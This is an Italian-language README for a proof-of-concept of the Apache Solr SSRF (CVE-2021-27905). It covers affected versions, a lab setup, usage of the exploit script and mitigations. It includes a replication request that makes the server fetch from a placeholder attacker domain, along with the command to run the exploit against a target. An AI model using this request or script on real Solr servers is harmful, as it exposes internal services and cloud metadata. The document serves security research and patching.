
Apache Solr < 8.8.2 Falsificazione di richieste lato server
Solo per scopi educativi e di ricerca. Non utilizzare questo codice su sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita al test. Non sono responsabile per eventuali usi impropri.
Questa è una vulnerabilità di Server Side Request Forgery che interessa Apache Solr (< 8.8.2) e consente ad attaccanti remoti di effettuare richieste HTTP arbitrarie verso sistemi interni o esterni tramite il parametro masterUrl dell'handler di replica, esponendo potenzialmente servizi interni o metadati sensibili del cloud.
Versioni interessate : tutte le versioni precedenti alla 8.8.2 (7.0.0 - 7.7.3, 8.0.0 - 8.8.1)
Il meccanismo di replica in Solr consente a una "replica" di recuperare i file dell'indice da un "master/leader" specificando un parametro masterUrl o leaderUrl. L'URL indicato tramite questo parametro non viene validato correttamente nelle versioni interessate di Apache Solr. Ciò consentirebbe agli attaccanti di convincere il server a contattare una risorsa remota da loro scelta.
Flusso vulnerabile
/solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>
Il ReplicationHandler di Solr:
masterUrl fornito per scaricare i dati dell'indice.SETUP DEL LAB
$ cd lab
$ docker compose up -d
# verify accessibility
$ curl http://127.0.0.1:8983/solr
$ docker compose down
SFRUTTAMENTO
# for windows
$ python -m venv <NAME>
$ .\<NAME>\Scripts\activate
# for linux
$ python3 -m venv <NAME>
$ source ./<NAME>/scripts/activate
$ pip install -r requirements.txt
cve-2021-27905.py$ python3 cve-2021-27905.py --target <TARGET> --payload <SSRF_PAYLOAD>

Il ReplicationHandler di Solr è stato corretto per:
masterUrl/leaderUrl punti solo a host approvati.http, https)./replication con autenticazione o rimuoverlo completamente se non viene utilizzato.